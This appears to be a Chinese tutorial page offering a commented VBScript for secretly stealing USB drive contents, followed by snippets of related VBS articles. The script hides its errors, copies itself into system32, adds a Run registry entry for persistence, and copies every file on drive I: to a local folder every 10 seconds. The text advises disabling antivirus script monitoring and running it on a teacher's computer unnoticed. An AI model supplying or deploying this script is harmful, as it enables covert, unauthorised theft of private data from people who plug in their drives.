利用VBS脚本轻松盗U盘数据_vbs

脚本应该具备以下功能: 
1.开机自启动; 
2.定时复制U盘所有文件及文件夹到指定位置; 
3.无任何错误提示(很关键,如果不想找死的话)。 
思路很简单,接下来就是脚本的具体内容了,我在每行脚本后都加了注释,但愿比我还菜的人也能看懂

复制代码 代码如下:

On Error Resume Next ‘忽略异常,否则可能会有错误提示框
Set fso=CreateObject("Scripting.FileSystemObject") ‘创建fso
dim n
Set n=CreateObject("Wscript.Shell") ‘声明变量n
Set dir = fso.GetSpecialFolder(1) ‘读取system32文件夹路径
fso.GetFile(WScript.ScriptFullName).Copy(dir&"\copy.vbs") ‘读取自身文件名,并复制自己到system32文件夹,重命名为copy.vbs
dim r
Set r=CreateObject("Wscript.Shell") ‘声明变量r,用于读写注册表
r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","copy.vbs","REG_SZ" ‘为脚本添加启动项
fso.CreateFolder("c:\windows\explorer") ‘创建文件夹,用来存放U盘文件
for i = 1 to 2
i = 1 ‘看出来了么,这是个死循环,变量i不可能到2,所以可以不断检查U盘并复制内容
fso.CopyFile "i:\*", "c:\windows\explorer\", True ‘复制I盘(U盘盘符)所有文件到指定文件夹
fso.CopyFolder "i:\*", "c:\windows\explorer\", True ‘复制I盘所有文件夹到指定文件夹
wscript.sleep 10000 ‘挂起10秒,此属性单位为毫秒
next
把上述内容存为kubau0.vbs,才几百字节。
提示一点,因为脚本内容有对注册表和文件的操作,所以执行时要把杀毒软件的网页或脚本之类的监控关掉,否则会不客气的弹出个对话框问你是否执行,如果引起老师怀疑的话……那你就节哀吧。
现在,只要在目标机上执行一次脚本(什么?没反应?当然不会有了!看看进程列表,如果有一个wscript.exe就说明已经执行成功了),脚本执行会停留在死循环里,每隔10秒复制一次文件到C:\windows\explorer\文件夹(间隔时间和目标文件夹均可自行设置),重启后会自动执行,且不会有任何异常提示,毕竟安全才是最重要的嘛!这也是VBS的特点,一切悄无声息。
不过脚本也不是没有缺点,那就是在复制文件的时候U盘灯会狂闪不止,且机器运行速度会明显变慢,且无法通过安全删除硬件来停止U盘,不过好在老师们多是才鸟(才鸟?什么东西?有才的菜鸟?),但是如果哪位高手能帮我解决,还请不吝赐教!
另外,别以为复制完就万事大吉了,最好定期删除没用的文件,否则目标文件夹会急剧膨胀,比如我们班,一星期下来就超了1G,很恐怖!

时间: 2024-10-23 22:23:51

利用VBS脚本轻松盗U盘数据_vbs的相关文章

利用VBS脚本修改联想笔记本BIOS密码的代码分享

这篇文章主要介绍了利用VBS脚本修改联想笔记本BIOS密码的实现代码,感觉这不科学!无意中找到的一些资料,喜欢的朋友可以试试   这不科学!无意中找到的一些资料: vbs 代码: 复制代码 代码如下: strComputer = "." Set objWMIService = GetObject("winmgmts:" & strComputer & "rootWMI") ' Obtain an instance of the t

轻松完成U盘数据的备份和恢复

  首先,我们下载并运行USBoot,然后插入U盘,USBoot会发现新插入的U盘: 一.选中这个U盘; 二.点击"点击此处选择工作模式"弹出一个菜单,选择"备份到文件"的菜单项; 三.接着点击"开始"; 四.这时,USBOOT就会弹出一个"备份U盘为文件"的对话框,输入一个名字例如:"backup_disk_u",然后点击保存. 五.请耐心等待USBOOT工作,直到提示保存数据成功,期间保证U盘不要乱动,

vbs脚本实现批量转换文件编码_vbs

最近需要使用SourceInsight查看分析在Linux系统下开发的项目代码,我们知道Linux系统中文本文件默认编码格式是UTF-8,而Windows中文系统中的默认编码格式是Gb2312.系统内的编码格式有所区别倒无伤大雅,关键的是SourceInsight竟不支持UTF-8,导致项目代码内的中文注释全部乱码! 既然SourceInsight不支持UTF-8编码的文件,那我们就得想办法将UTF-8的代码文件转化为GB2312编码的.首先想到的是到网上搜一下"批量编码转换工具",结

VBS脚本病毒原理分析与防范_vbs

网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候.当您收到一封主题为"I Love You"的邮件,用兴奋得几乎快发抖的鼠标去点击附件的时候:当您浏览一个信任的网站之后,发现打开每个文件夹的速度非常慢的时候,您是否察觉病毒已经闯进了您的世界呢?2000年5月4日欧美爆发的"爱虫"网络蠕虫病毒.由于通过电子邮件系统传播,爱虫病毒在短短几天内狂袭全球数百万计的电脑.微软.Intel等在内的众多大型企业网络系统瘫痪,全球经济损失达几十亿美元.而去年爆发的新欢

对一个vbs脚本病毒的病毒原理分析_vbs

一.前言 病毒课老师丢给我们一份加密过的vbs脚本病毒的代码去尝试分析,这里把分析过程发出来,供大家参考,如果发现文中有什么错误或者是有啥建议,可以直接留言给我,谢谢! 二.目录 整个分析过程可以分为以下几个部分: 0x00 准备工作 0x01 解密部分 0x02 功能分析 三.分析过程 0x00 准备工作 windows xp的虚拟机(在自己的windows下也可以做) vbs的一些基本语法 0x01 解密部分 右击病毒文件然后编辑打开或者是直接把其后缀修改成txt直接打开都行,可以看到一大段

利用vbs类实现css按钮的代码_vbs

复制代码 代码如下: <%  rem 文章标题: 利用vbs类实现css按钮  rem 作者:yanek  rem 联系:aspboy@263.net  Class CssButton    Public Name    Public BackColor    Public BorderColor    Public Font    Public FontColor    Public Width    Public Text    Public Url    Public MouseOverC

利用javascript脚本轻松实现局部刷新

AJAX,这个很熟悉的词,但是却用的很少的技术. 如今我遇到了需要局部刷新的功能,此前我考虑用AJAX技术,但是老总说不用费那么多时间,直接全部刷新得了. 我想到了既不用AJAX也不需要全部刷新的好办法. 其实,AJAX也就是 javascript脚本的应用.全拼是:AsynchronousJavaScript+XML . Ajax不是一个技术,它实际上是几种技术,每种技术都有其独特这处,合在一起就成了一个功能强大的新技术. Ajax包括: XHTML和CSS 使用文档对象模型(Document

小工具帮您轻松备份U盘数据

  眼下U盘的越来越被广泛使用 ,如何来保护U盘上的数据也随之变得越来越重要,其实要做到也不难,下面就为大家介绍一款很实用的U数据备份软件. Rohos磁盘加密软件允许用户在计算机或USB闪存驱动器上创建新的安全储存区.在这篇文章中我们想着重强调一下数据备份的重要性,尤其是在USB闪存驱动器上使用Rohos磁盘加密.由于USB闪存驱动器的自身特性(便携和特殊的记忆体设计),它的记忆体非常容易受到外部的影响,所以它的数据完整性不是非常强. 大多数用户在不幸发生以后才意识到数据备份的重要性: 用户丢

利用vbs脚本实现设置IE的打印页眉页脚信息_vbs

将下面的内容保存成.vbs文件,然后双击执行,在打开ie页面,在页面中点击右键,看看菜单中多了个什么!!:)       复制代码 代码如下: option explicit      dim hkey_root,hkey_path,hkey_key,filepath      dim fs,fso,regwsh      hkey_root="hkey_current_user"      hkey_path="\software\microsoft\internet ex